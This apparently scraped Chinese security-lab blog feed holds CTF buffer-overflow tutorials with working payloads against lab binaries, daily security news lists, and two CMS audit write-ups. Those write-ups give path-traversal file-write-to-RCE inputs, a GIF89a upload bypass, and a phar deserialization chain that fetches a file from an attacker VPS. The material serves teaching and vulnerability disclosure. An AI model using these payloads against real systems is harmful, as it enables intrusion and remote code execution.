CTF PWN练习之函数指针改写
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
先介绍工具吧!
使用objdump工具可以查看一个目标文件的许多内部信息,objdump有许多可选的参数选项,通过控制这些参数选项可以输出不同的文件信息。
本实验的程序和代码位于/home/test/4目录下,执行objdump -d pwn4可以看到关于pwn4程序的反汇编指令列表,其中-d选项表示进行反汇编操作.
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014110409162800001(除了gdb之外,Linux还有许多工具可以帮助我们分析二进制文件。本实验将教会大家使用objdump来查找二进制程序中函数的地址信息,并通过修改函数指针变量的值为指定函数的地址来改写程序执行流程。)。
1.实验内容和步骤
大东:先来看题目描述 主机/home/test/4目录 下有一个pwn4程序,执行这个程序 可以 输入数据进行测试,当输入一定的数据量时 , 可能什么都不会提示程序就结束运行了,也可能会提示这样的信息:
calling function pointer, jumping to 0x41414141
Segmentation fault
当输入的精心构造的输入数据时可对程序发起溢出攻击,达到改写程序执行流程的目的,攻击成功时将输出如下信息:
calling function pointer, jumping to 0xXXXXXXXX
Congratulations, you pwned it.
请对pwn4程序进行逆向分析和调试,找到程序内部的漏洞,并构造特殊的输入 数据,使之 输出成功的提示信息。
开始做题吧,先看源码,使用cd /home/test/4切换到程序所在目录,执行cat pwn4.c 即可看到源代码:
#include <stdio.h>
#include <string.h>
typedef void (* func)();
void win()// 输出 成功提示信息的函数
{
printf("Congratulations, you pwned it.\n");
}
int main(int argc, char** argv)
{
func fp;
char buffer[64];
fp = NULL;
gets(buffer); // 可引发缓冲区溢出
if (fp) // 判断函数指针变量fp是否不为NULL
{
printf("calling function pointer, jumping to 0x%08X\n", fp);
fp(); // 调用 fp
}
return 0;
}
程序定义了一个与buffer相邻的函数指针变量fp, 然后使用gets获取输入数据,我们知道gets是不安全的函数,这里会引发缓冲区溢出,fp 变量的值可以被改写,当fp 的值被改写为 win 函数的地址时,就可以输出成功提示的信息。
继续来看分析,执行gdb pwn4即可开始通过gdb对 pwn4进行调试,现在我们需要阅读main函数的汇编代码 ,在gdb中执行disas main命令即可:
大东:下面是对main函数中的汇编代码的解释:
0x08048428 <+0>: push %ebp
0x08048429 <+1>: mov %esp,%ebp
0x0804842b <+3>: and $0xfffffff0,%esp
; 在栈上开辟0x60字节的空间
0x0804842e <+6>: sub $0x60,%esp
; 初始化fp的值为NULL,其中fp位于[esp+0x5c]
0x08048431 <+9>: movl $0x0,0x5c(%esp)
; 执行gets(buffer),其中buffer位于[esp+0x1c]
0x08048439 <+17>: lea 0x1c(%esp),%eax
0x0804843d <+21>: mov %eax,(%esp)
0x08048440 <+24>: call 0x8048320 < gets@plt>
; 判断fp是否为NULL
0x08048445 <+29>: cmpl $0x0,0x5c(%esp)
0x0804844a <+34>: je 0x8048467 < main+63>
0x0804844c <+36>: mov $0x8048554,%eax
0x08048451 <+41>: mov 0x5c(%esp),%edx
0x08048455 <+45>: mov %edx,0x4(%esp)
0x08048459 <+49>: mov %eax,(%esp)
0x0804845c <+52>: call 0x8048340 < printf@plt>
; 执行fp()
0x08048461 <+57>: mov 0x5c(%esp),%eax
0x08048465 <+61>: call *%eax
0x08048467 <+63>: mov $0x0,%eax
0x0804846c <+68>: leave
0x0804846d <+69>: ret
通过对上面的汇编代码进行分析, 我们知道buffer位于esp+0x1c处,而fp位于esp+0x5 c处,两个地址的距离为0x5 c - 0x1c = 0x40,即64,刚好为buffer数组的大小。 因此当输入数据的长度超过64字节 时,fp 变量 就可以被覆盖,但需要控制fp变量的值还需要小心的构造数据。我们只要合理控制 环境变量参数的第65~68字节的内容, 就可以成功发起溢出攻击了。
通过上面的步骤我们已经知道,只要合理控制输入 数据的第 65~68字节的内容,就可以成功发起 溢出攻击了 。现在的问题是找到函数win的地址信息,然后将fp的值改写为win函数的地址,这样就可以达到调用win函数的目的了。前面 提到过使用objdump可以查看函数的地址,现在在shell中执行objdump -d pwn4,然后在输出 信息中找到win函数的信息:
可以看到win函数的地址为0x08048414,因为机器采用小端格式,因此执行下面的语句就可以成功发起溢出攻击了:
python -c "print 'A'*64+'\x14\x84\x04\x08'" | ./pwn4
攻击效果如下图所示:
PWN类型的题目是CTF中的一个难点,要多下功夫。这次实验需要重点注意fp变量和汇编代码的分析。
想亲自体验这些精彩的实验吗?点击下方按钮注册,一起来实战!
网络安全日报 2021年03月16日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Microsoft推出针对Exchange攻击的一键缓解工具
https://www.securityweek.com/microsoft-ships-one-click-mitigation-tool-exchange-attacks
2、AMD为新的EPYC 7003系列处理器增加了新的安全功能
https://www.securityweek.com/amd-unveils-new-security-features-launch-epyc-7003-series-processors
3、美国司法部起诉Sky Global首席执行官协助犯罪分子
https://securityaffairs.co/wordpress/115629/cyber-crime/sky-global-ceo-indicted.html
4、黑客利用Exchange 漏洞攻击了32家印度公司
https://ciso.economictimes.indiatimes.com/news/hackers-hit-32-indian-firms-via-microsoft-email-servers-ld/81510202
5、以色列K.L.S汽车信贷公司遭黑客攻击数据泄露
https://www.jpost.com/jpost-tech/israeli-car-financing-company-hacked-private-information-held-for-ransom-661865
6、研究人员发布了微软Exchange漏洞的新PoC
https://www.bleepingcomputer.com/news/security/new-poc-for-microsoft-exchange-bugs-puts-attacks-in-reach-of-anyone/
7、PHP信用卡窃取程序将信息保存在JPG文件中
https://blog.sucuri.net/2021/03/magento-2-php-credit-card-skimmer-saves-to-jpg.html
8、RTM银行木马和Quoter勒索软件合作
https://cyware.com/news/rtm-and-quoter-ransomware-a-deadly-combo-2b1072f6
9、超8W台Exchange 仍受到漏洞的影响
https://www.securityweek.com/over-80000-exchange-servers-still-affected-actively-exploited-vulnerabilities
10、Fastway Couriers快递公司泄露用户联系方式
https://www.irishtimes.com/news/ireland/irish-news/cyberattack-on-fastway-couriers-compromises-contact-details-1.4508084
记某cms的漏洞挖掘之旅
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
任意文件写入
这个 cms 是基于 thinkphp5.1 的基础开发的,一般我们挖 cms 如果想 rce 的话,可以在 application 文件夹直接搜索file_put_content等危险函数,如下图,我们直接全局定位到这个fileedit方法里面的file_put_content
我们看到第一个参数$rootpath,他是被拼接了这么一段路径
$rootpath = Env::get('root_path') . 'theme' . DIRECTORY_SEPARATOR . $template . DIRECTORY_SEPARATOR . $path;
其中$path是我们可控的,那么一般就可以考虑下是否存在路径穿越的问题
再看到第二个参数htmlspecialchars_decode(Request::param('html')也是我们可控的
所以这里就比较清晰了,我们只需要../就可以进行路径穿越,htmlspecialchars_decode也对我们写入 php 代码没有什么影响,所以我们直接 post 传参 path=../../index.php&html=<?php phpinfo();?>即可
可以看到已经成功 rce
任意文件读取
我们再顺着fileedit这个方法往下瞅瞅,发现还有一个file_get_contents,他的参数也是$rootpath,所以这里也是我们可控的,不同的是进入这个 else 分支我们用 get 传参即可
我们直接传入../../index.php,发现已经成功把index.php读取出来了
反序列化漏洞
上面两个漏洞是利用了file_get_contents和file_put_content,这两个函数都是涉及了 IO 的操作函数,也就是说可以进行操作 phar 反序列化漏洞,但是他们的路径并不是完全可控的,只是后面一小部分可控,所以这条路走不通,所以接下来的思路就是搜索有没有可以操作phar的函数
我们直接全局搜索is_dir,一个一个分析是否可以利用
这里我的运气比较好,映入眼帘的是scanFilesForTree这个方法,他的$dir是直接可控的,文章的开头说了这个 cms 是基于 thinkphp5.1 二次开发的,所以我们可以直接利用这个漏洞生成 phar 文件来进行 rce
我们首先看看能不能上传 phar 文件,在后台一处发现可以上传文件
我们先抓个包试试水,发现提示非法图片文件,应该是写了什么过滤
我们找到upload这个函数发现对图片的类型和大小进行了一些验证
public function upload($file, $fileType = 'image') { // 验证文件类型及大小 switch ($fileType) { case 'image': $result = $file->check(['ext' => $this->config['upload_image_ext'], 'size' => $this->config['upload_image_size']*1024]); if(empty($result)){ // 上传失败获取错误信息 $this->error = $file->getError(); return fal
然后尝试加了GIF89a头就可以上传了,看来多打CTF还是有用的,于是直接上传我们的 phar 文件就好了
这里要记得生成 phar 文件的时候要要加入GIF89a头来绕过,如下
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub
可以看到已经成功上传了,同时记住下面那个路径
最后我们在scanFilesForTree这里触发我们的phar文件就可以了
总结
本篇的漏洞已经全部上交cnvd,这个 cms 总的来说比较适合练手,主要的切入点还是通过白盒通过寻找一些危险的函数,再想方设法的去控制它的参数变量
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID06a1-2876-4bfb-8e59-a0096299c167 (过本节的学习,了解文件下载漏洞的原理,通过代码审计掌握文件下载漏洞产生的原因以及修复方法。)
想亲自体验这些精彩的实验吗?点击下方按钮注册,一起来实战!
CTF PWN练习之环境变量继承
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
今天的实验和上次学习的精确覆盖变量数据有关,CTF PWN练习中的环境变量继承。这个题目有联系到环境变量参数,我们需要知道在Linux/Windows操作系统中, 每个进程都有其各自的环境变量设置。缺省情况下, 当一个进程被创建时,除了创建过程中的明确更改外,它继承了其父进程的绝大部分环境变量信息。
C语言main函数可以传递三个参数,除了argc和argv参数外,还能接受一个char**类型的envp参数。envp指向一个字符串数组,该数组存储了当前进程具体的环境变量的内容,envp的最后一个元素指向NULL,此为envp结束的标识符。
实验介绍开始
打印环境变量参数信息的示例代码(位于/home/test/3目录下的env.c):
#include <stdio.h>
int main(int argc, char** argv, char** envp)
{
int i = 0;
while (envp[i])
{
printf("envp[%2d] = %s\n", i, envp[i]);
i += 1;
}
return 0;
}
编译这段代码生成env程序,然后在命令行下执行,可以看到程序打印出了具体的环境变量参数信息:
环境变量的格式为:环境变量名=环境变量值
当父进程启动一个子进程时,子进程会继承父进程的换了变量信息。在Linux Shell下,通过export可以给Shell添加一个环境变量,此后通过Shell启动的子进程都会拥有这个环境变量。
在Shell中执行export testenv="Hello_World"之后,再执行./env,可以看到新的环境变量已经被子进程继承了。
除了通过export添加环境变量以外,我们还可以通过函数getenv、putenv、setenv等对环境变量进行操作。
看完基础知识之后,我们开始来做题,本文实验题目:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014110409142200001。
同样的先看题目描述 主机/home/test/3目录下有一个pwn3程序,这个程序会对进程中名为HEETIAN的环境变量的值进行处理,通过构造特定的环境变量参数数据可以对程序发起溢出攻击,成功会提示Congratulations, you pwned it.,失败则会提示Please try again.的提示信息。注意:如果没有设置HEETIAN这个环境变量,那么运行程序后将输出Please set the HEETIAN environment variable,之后程序自动退出。
请对pwn3程序进行逆向分析和调试,找到程序内部的漏洞,并构造特殊的环境变量参数数据,使之输出成功的提示信息。
题目的考点就是需要我们构造特定的环境变量参数来对程序进行溢出攻击,但是我们溢出也是有条件的,分析一下。
先来看源码,使用cd /home/test/3切换到程序所在目录,执行cat pwn3.c即可看到源代码:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char** argv)
{
int modified;
char buffer[64];
char* variable;
variable = getenv("HEETIAN"); // 获取环境变量HEETIAN的值
if (variable == NULL)
{
printf("Please set the HEETIAN environment variable\n");
exit(1);
}
modified = 0;
strcpy(buffer, variable); // 调用strcpy进行字符串复制,可引发缓冲区溢出
if (modified == 0x0d0a0d0a) // 判断modified的值是否为0x0d0a0d0a
{
printf("Congratulations, you pwned it.\n");
}
else
{
printf("Please try again, you got 0x%08X\n", modified);
}
return 0;
}
程序首先通过getenv函数获取名为HEETIAN的环境变量参数,然后使用strcpy函数将其值复制到buffer缓冲区中,我们知道这样可以引发缓冲区溢出。
这里当设置超长的环境变量参数数据时,将会产生缓冲区溢出,数据覆盖buffer后会继续覆盖modified变量。
这只是c语言代码,我们就需要用gdb来进行调试来判断溢出的长度。执行gdb pwn3即可开始通过gdb对pwn3进行调试,现在我们需要阅读main函数的汇编代码,在gdb中执行disas main命令即可,下面是对main函数中的汇编代码的解释(无关代码已经省略):
(gdb) disas main
Dump of assembler code for function main:
......
0x0804848d <+9>: movl $0x80485d4,(%esp)
; 调用getenv获取环境变量HEETIAN的值
0x08048494 <+16>: call 0x8048364 <getenv@plt>
; 将结果保存到variable变量,即[esp+0x5c]
0x08048499 <+21>: mov %eax,0x5c(%esp)
; 判断返回结果是否为NULL
0x0804849d <+25>: cmpl $0x0,0x5c(%esp)
0x080484a2 <+30>: jne 0x80484bc <main+56>
......
; 初始化modified变量的值为0,位于[esp+0x58]
0x080484bc <+56>: movl $0x0,0x58(%esp)
; 调用strcpy对buffer进行填充,位于[esp+0x18]
0x080484c4 <+64>: mov 0x5c(%esp),%eax
0x080484c8 <+68>: mov %eax,0x4(%esp)
0x080484cc <+72>: lea 0x18(%esp),%eax
0x080484d0 <+76>: mov %eax,(%esp)
0x080484d3 <+79>: call 0x8048384 <strcpy@plt>
; 判断modified变量的值是否为0x0d0a0d0a
0x080484d8 <+84>: cmpl $0xd0a0d0a,0x58(%esp)
......
End of assembler dump.
通过对上面的汇编代码进行分析,我们知道buffer位于esp+0x18处,而modified位于esp+0x58处,两个地址的距离为0x58 - 0x18 = 0x40,即64,刚好为buffer数组的大小。因此当环境变量HEETIAN的值的数据超过64字节时,modified变量就可以被覆盖,但需要控制modified变量的值还需要小心的构造数据。我们只要合理控制环境变量参数的第65~68字节的内容,就可以成功发起溢出攻击了。
我们输入64个a加上'\x0a\x0d\x0a\x0d'就可以了吗?
当然不是,之前说到了环境变量,需要构造环境变量然后再来输入。
因为目标机器采用小端格式存储数据,而if语句分支要求modified的值为0x0d0a0d0a时才通过判断,因此我们构造的数据应该为\x0a\x0d\x0a\x0d。
要是感觉连续输入64个a比较麻烦,这里有两种更简便的办法1.通过export修改环境变量前面已经介绍过通过export可以修改环境变量,执行下面的语句:
export HEETIAN=$(python -c "print 'A'*64+'\x0a\x0d\x0a\x0d'")然后运行./pwn3就可以看到攻击效果了,如图所示:
接下来,我们来看通过python脚本动态修改环境变量。
在/home/test/3下存在一个pwn3.py的python脚本,执行cat pwn3.py可以看到源码:
import os
def pwn():
os.putenv("HEETIAN", "A"*64+"\x0a\x0d\x0a\x0d")
os.system("./pwn3")
if name == "main":
pwn()
为了排除前面的环境变量的干扰,我们先修改HEETIAN的的值为AAA,然后再执行python脚本,可以看到攻击效果,如图所示:
pwn3.py先修改HEETIAN环境变量的值,然后通过system启动pwn3程序。
想亲自体验这些精彩的实验吗?点击下方按钮注册,一起来实战!
网络安全日报 2021年03月15日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Netgear 发布安全补丁修复JGS516PE交换机高危漏洞
https://securityaffairs.co/wordpress/115586/hacking/netgear-soho-flaws.html
2、谷歌发布适用于Chrome浏览器的Spectre PoC
https://securityaffairs.co/wordpress/115573/hacking/google-chrome-spectre-poc.html
3、研究人员在Linux内核模块中发现了三个有15年历史的漏洞
https://securityaffairs.co/wordpress/115565/security/linux-kernel-flaws.html
4、研究人员发现适用M1芯片的XCSSET mac恶意软件新变种
https://securityaffairs.co/wordpress/115552/hacking/xcsset-mac-malware-m1-chips.html
5、WeLeakInfo 上万用户详细信息造泄露
https://securityaffairs.co/wordpress/115544/data-breach/weleakinfo-leaked-data.html
6、Chrome更新修复已被利用的零日漏洞
https://thehackernews.com/2021/03/another-google-chrome-0-day-bug-found.html
7、研究人员通过暴露的git和env文件入侵印度政府网站
https://www.bleepingcomputer.com/news/security/researchers-hacked-indian-govt-sites-via-exposed-git-and-env-files/
8、Woodcreek供应商服务公司泄露约20万患者信息
https://www.securityweek.com/breach-exposes-data-200k-health-system-staff-patients
9、骗子通过推特广告宣传虚假加密货币赠品网站
https://www.bleepingcomputer.com/news/security/scammers-promote-fake-cryptocurrency-giveaways-via-twitter-ads/
10、Lemon_Duck挖矿僵尸网络利用Exchange漏洞
https://www.bleepingcomputer.com/news/security/microsoft-exchange-exploits-now-used-by-cryptomining-malware/
网络安全日报 2021年03月12日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、施耐德智能电表中发现严重漏洞
https://www.securityweek.com/serious-vulnerabilities-found-schneider-electric-power-meters
2、Facebook暂停到香港海底数据光缆项目
https://www.securityweek.com/facebook-halts-project-undersea-data-cable-hong-kong
3、研究人员发布针对Exchange漏洞的PoC
https://securityaffairs.co/wordpress/115513/hacking/microsoft-exchange-exploit-code.html
4、数十个APT组织利用Exchange漏洞进行攻击
https://threatpost.com/microsoft-exchange-servers-apt-attack/164695/
5、Lazarus Group利用Mata 框架部署TFlower勒索软件
https://cyware.com/news/lazarus-group-using-mata-framework-to-deliver-tflower-ransomware-17319d23
6、WordPress插件中严重漏洞可导致网站被接管
https://securityaffairs.co/wordpress/115451/hacking/the-plus-addons-for-elementor-wordpress-flaw.html
7、西班牙政府劳工部办公室遭Ryuk勒索软件攻击
https://www.bleepingcomputer.com/news/security/ryuk-ransomware-hits-700-spanish-government-labor-agency-offices/
8、英特尔和微软与DARPA合作研发DPRIVE计划
https://www.helpnetsecurity.com/2021/03/09/intel-darpa-dprive/
9、恶意NPM包利用依赖关系混淆漏洞针对Amazon、Zillow等应用
https://cyware.com/news/dependency-confusion-exploit-being-used-to-create-more-copycat-packages-09f4133d
10、CISA将在4月接管gov顶级域名管理权
https://www.govinfosecurity.com/cisa-will-manage-gov-domain-in-effort-to-enhance-security-a-16159
CTF PWN之精确覆盖变量数据
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
刚开始接触pwn的朋友在做pwn练习时可能会有这样的疑问,怎么做到精确覆盖变量数据呢?
我们做pwn练习之前需要先知道:命令行参数C语言的main函数拥有两个参数,为int类型的argc参数,以及char**类型argv参数。其中argc参数的值表示命令行参数的个数,而argv则指向一个字符串数组,该数组存储了具体的命令行参数的内容。
这里就用今天的实验,给大家介绍一下!
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014110113362900001(在掌握大小端字节序表示法的基础上,通过精心构造的输入数据溢出缓冲区,实现对modified变量的值进行精确覆盖,以达到修改程序执行逻辑的目的。)
看下面的例子 打印命令行参数信息的示例代码(位于/home/test/2目录下):
#include <stdio.h>
int main(int argc, char** argv)
{
int i;
for (i = 0; i < argc; ++i)
{
printf("argv[%d] = %s\n", i, argv[i]);
}
return 0;
}
注意程序本身的名字为命令行的第一个参数。编译这段代码生成test程序,然后在命令行下执行,尝试传入命令行参数,如:./test hello world cmdline,可以看到程序打印出了具体的命令行参数信息:
xargs命令Linux的xargs命令可以将输入数据当做命令行参数传给指定的程序。比如执行命令python -c "print 'AAA BBB CCC'" | xargs ./test后,输出:
python语句执行后输出AAA BBB CCC,通过管道操作作为xargs命令的输入,而xargs将其作为test程序的命令行参数,因此test程序会把这些信息打印出来。
小白:就是我们借助xargs可以把输入数据当成命令行参数输给这个程序。
大东:对的,另外还需要讲的是一个字节序 字节顺序,又称端序或尾序(英语:Endianness)。对于内存中存储的0x11223344这样一个值,从低地址往高地址方向的每一个字节来看,其内容在内存里的分布可能为0x11,0x22,0x33,0x44,也可能为0x44,0x33,0x22,0x11。
这就涉及到两种存储规则:大端格式和小端格式。示意图如下图所示:
0x11223344中的最高的字节为0x11,最低的字节为0x44,我们只要记住小端格式是“高存高,低存低”的规律,就很好的理解了。即小端格式中,高位字节存储于内存的高地址处,而低位字节存储于内存的低地址处。
Intel、AMD等系列的处理器都是小端格式的。
小白:不同的程序如果字节序不一样,我们输入的值也要不一样是这个意思吗?
大东:不错啊,越来越机智了没白教你。
小白:嘿,我们快开始实验吧。
大东:老规矩先看一下实验描述。
题目描述:
主机/home/test/2目录下有一个pwn2程序,这个程序会对传入的命令行参数进行处理,通过构造特定的命令行参数数据可以对程序发起溢出攻击,成功会提示Congratulations, you pwned it.,失败则会提示Please try again.的提示信息。
第一步源码审计使用cd /home/test/2切换到程序所在目录,执行cat pwn2.c即可看到源代码:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char** argv)
{
int modified;
char buffer[64];
if (argc == 1)
{
printf("please specify an argument\n");
exit(1);
}
modified = 0;
strcpy(buffer, argv[1]); // 引发缓冲区溢出
if (modified == 0x61626364)
{
printf("Congratulations, you pwned it.\n");
}
else
{
printf("Please try again, you got 0x%08X\n", modified);
}
return 0;
}
这源码要怎么pwn掉它呢?
我们可以尝试一个姿势,使用strcpy函数复制字符串时,并不会对目标缓冲区的长度进行检查,当源字符串的长度超过目标缓冲区的长度时会引发缓冲区溢出。这里当输入的超长的命令行参数数据时,将会产生缓冲区溢出,数据覆盖buffer后会继续覆盖modified变量。
这个程序有一个条件modified ==**,**那么要多少才能pwn出去呢?0x61626364
我们来继续分析,执行gdb pwn2即可开始通过gdb对pwn2进行调试,现在我们需要阅读main函数的汇编代码,在gdb中执行disas main命令即可:
下面是对main函数中的汇编代码的解释:
0x080482a0 <+0>: push %ebp
0x080482a1 <+1>: mov %esp,%**ebp**
0x080482a3 <+3>: and $0xfffffff0,%**esp**
; esp = esp - 0x60,即在栈上分配0x60)字节的空间
0x080482a6 <+6>: sub $0x60,%**esp**
; 判断命令行参数的个数是否为1
0x080482a9 <+9>: cmpl $0x1,0x8(%**ebp)**
0x080482ad <+13>: jne 0x80482c7 <main+39>
0x080482af <+15>: movl $0x80b3dac,(%**esp)**
0x080482b6 <+22>: call 0x80493c0 <puts>
0x080482bb <+27>: movl $0x1,(%**esp)**
0x080482c2 <+34>: call 0x8048e90 <exit>
; 命令参数个数不是1,说明传入了命令行参数
; modified变量位于esp + 0x5C处,将其初始化为0
0x080482c7 <+39>: movl $0x0,0x5c(%**esp)**
; 通过ebp + 0xC获取argv参数的值
0x080482cf <+47>: mov 0xc(%**ebp),%eax**
; eax = eax + 4
0x080482d2 <+50>: add $0x4,%**eax**
; 取argv[1]的值
0x080482d5 <+53>: mov (%**eax),%eax**
; 将argv[1]作为strcpy的第二个参数值
0x080482d7 <+55>: mov %eax,0x4(%**esp)**
; buffer位于esp + 0x1C处,buffer作为strcpy的第一个参数值
0x080482db <+59>: lea 0x1c(%**esp),%eax**
0x080482df <+63>: mov %eax,(%**esp)**
; 调用strcpy进行字符串复制
0x080482e2 <+66>: call 0x80525b0 <strcpy>
; 判断modified的值是否为0x61626364
0x080482e7 <+71>: cmpl $0x61626364,0x5c(%**esp)**
; 不相等则跳转并输出失败信息
0x080482ef <+79>: jne 0x80482ff <main+95>
; 输出成功提示信息
0x080482f1 <+81>: movl $0x80b3dc8,(%**esp)**
0x080482f8 <+88>: call 0x80493c0 <puts>
0x080482fd <+93>: jmp 0x8048314 <main+116>
0x080482ff <+95>: mov $0x80b3de8,%**eax**
0x08048304 <+100>: mov 0x5c(%**esp),%edx**
0x08048308 <+104>: mov %edx,0x4(%**esp)**
0x0804830c <+108>: mov %eax,(%**esp)**
0x0804830f <+111>: call 0x8049390 <printf>
0x08048314 <+116>: mov $0x0,%**eax**
0x08048319 <+121>: leave
0x0804831a <+122>: ret
通过对上面的汇编代码进行分析,我们知道buffer位于esp+0x1C处,而modified位于esp+0x5C处,两个地址的距离为0x5C - 0x1C = 0x40,即64,刚好为buffer数组的大小。因此当我们输入的数据超过64字节时,modified变量就可以被覆盖,但需要控制modified变量的值还需要小心的构造命令行参数。
下面在gdb中进行验证,在gdb中执行b * 0x080482e7命令对strcpy的下一条指令下一个断点:
在gdb中执行r命令,如下(r后面的数据为64个A以及1234):
r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1234
即r命令后加上空格可以接一个命令行参数,用于传递给被调试的程序。按下Enter键程序就在断点处断下了:
在gdb中输入x $esp+0x5C,查看modified变量的值已经被修改成了0x34333231,而0x31为字符’1’的ASCII值,0x32为字符’2’的ASCII值,0x33为字符’3’的ASCII值,0x34为字符’4’的ASCII值:
使用x /4xb $esp+0x5C命令,以字节为单位查看内存中0x34333231的表示(其中/4xb用于控制输出格式,4表示4个长度单位,x表示以16进制方式显示,b表示单位为字节):
现在modified变量的值已经被修改成0x34333231了,结合我们的输入数据‘A….A1234’,1234为低地址往高地址方向,可以判断这是小端格式的表示法。
在gdb中输入c命令就可以让程序继续执行,看到输出了错误的提示信息:
现在我们只要合理控制命令行参数的第65~68字节的内容,就可以成功发起溢出攻击了。
通过上面的步骤我们已经知道,只要合理控制命令行参数的第65~68字节的内容,就可以成功发起溢出攻击了。因为目标机器采用小端格式存储数据,而if语句分支要求modified的值为0x61626364时才通过判断,因此我们构造的数据应该为\x64\x63\x62\x61。如果你还没有退出gdb,输入q命令就可以退出gdb。下面通过python语句构造输入数据,然后通过xargs传给pwn2程序,执行命令:
python -c "print 'A'*64+'\x64\x63\x62\x61'" | xargs ./pwn2
看到已经成功发起了溢出攻击,程序被PWN掉啦!
其实0x61为字符a的ASCII值,因此输入如下的命令同样能达到攻击效果:
python -c "print 'A'*64+'dcba'" | xargs ./pwn2
这次的实验真的很费脑筋,分析处理了好多数据,才得到结果。
更多精彩实验,蚁景网安实验室专业为您提供,注册实战起来!
对某cms的一次审计思路
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
漏洞的审计
源头是在/src/extend/extcore/ImageCrop.php/crop这个方法里面发现有个getimagesize函数,这个函数是能够触发phar反序列化漏洞的,而这个 cms 是基于 thinkphp5.1 框架二次开发的,这个框架有个反序列化漏洞相信大家都很熟悉了,所以我们的目的就是能控制$imgData这个变量就行了
可以看到$imgData是由$this->getImgData($img);控制的,我们跟踪进去
private function getImgData($img){ if(strripos($img, 'http://')!==FALSE OR strripos($img,'https://') !==FALSE) { //站外图片 $data=file_get_contents($img); }else{ //站内图片 $file=DOC_ROOT.'/'.$img; if(is_file($file)) { $data = file_get_contents($file); }else{ return false; } } return $data; }
可以看到这里会限制只能由http://或者https://开头的参数才能获取站外的图片信息
再看看全局搜索crop这个方法看看哪里会调用他
我们在src/application/task/controller/UtilController.php/cropimage发现有个crop_image函数,我们跟踪进去
function crop_image($file, $options){ // echo $file; $imageCrop=new \extcore\ImageCrop($file, $options); return $imageCrop->crop(); }
发现这里会调用到我们上面的crop函数
这里的$file参数也就是我们传给getImgData函数的$img变量,所以这里我们看看如何去控制他,可以看到crop_image方法里面有一个$paths=explode('.',$img);,就是会根据点去分隔我们的$img参数,然后又要count($paths)==3,我们可以回想到getImgData限制了http的开头,我们想要phar反序列化的话,必须是phar://的开头,那么我们直接在vps上放置我们的phar文件的路径不就可以了
但是这里有一个问题,我们正常输入一个IP地址的话肯定是不行的,因为他的count($paths)==3,所以我们可以使用十六进制绕过的方法,所以也就限制了这种方法只能在linux下面使用,这里顺便贴一下之前写的一个转进制的脚本
<?php $ip = '127.0.0.1'; $ip = explode('.',$ip); $r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ; if($r < 0) { $r += 4294967296; } echo "十进制:"; echo $r; echo "八进制:"; echo decoct($r); echo "十六进制:"; echo dechex($r); ?>
我们在$ip处贴上自己的vps的地址,这里要注意生成的十六进制前面要加上0x
然后cacheimage函数的
$response = crop_image($paths[0].'.'.$paths[2], $args);
$paths[0].'.'.$paths[2]就是我们想要控制的参数,因为前面explode把我们的url地址分成了3份,这里把第一份和第三份拼接了起来,于是我们可以构造类似于http://vps-ip/1.1.txt的形式,这里样我们的$paths[0].'.'.$paths[2]也就成为了1.txt也就是我们可控的东西了,同时这里也明白了为什么要将vps-ip转成16进制的原因了
我们同时在vps上放置test.phar的路径,这个cms后台是可以上传jpg文件的,当然phar反序列化的话即使是jpg后缀的文件也是能够成功反序列的,这里我为了方便直接放在根目录下
到了这一步我们的思路基本就清晰了,我们测试一下$img是否能够正确的打印出来,可以手动添加一个echo $img;
我们访问一下cacheimage的路由
可以看到我们的$img变成了1.txt,getimagesize函数里面也成功接收到我们放在1.txt里面的内容
我们再cmd传参我们的命令即可看到漏洞已经成功利用
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID5504-22b1-44f6-984f-1339663ac214 (通过本节的学习,了解文件上传漏洞的原理,通过代码审计掌握文件上传漏洞产生的原因、上传绕过的方法以及修复方法。)
总结
漏洞已经上交于cnvd平台,然后这个漏洞由于十六进制绕过的问题,只能在linux下才可以成功实现,所以可以把cms放在docker里面进行测试,然后在一些小的cms里面关于phar反序列化漏洞还是比较好找的,因为一般来说后台都是能够上传jpg格式的文件,能够触发phar的函数也蛮多的
用实战磨练技术,加入网安实验室,1300+网安技能任你学!
网络安全日报 2021年03月11日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、F5修补了Big-IP Suite中的四个高危漏洞
https://www.securityweek.com/f5-patches-four-critical-bugs-big-ip-suite
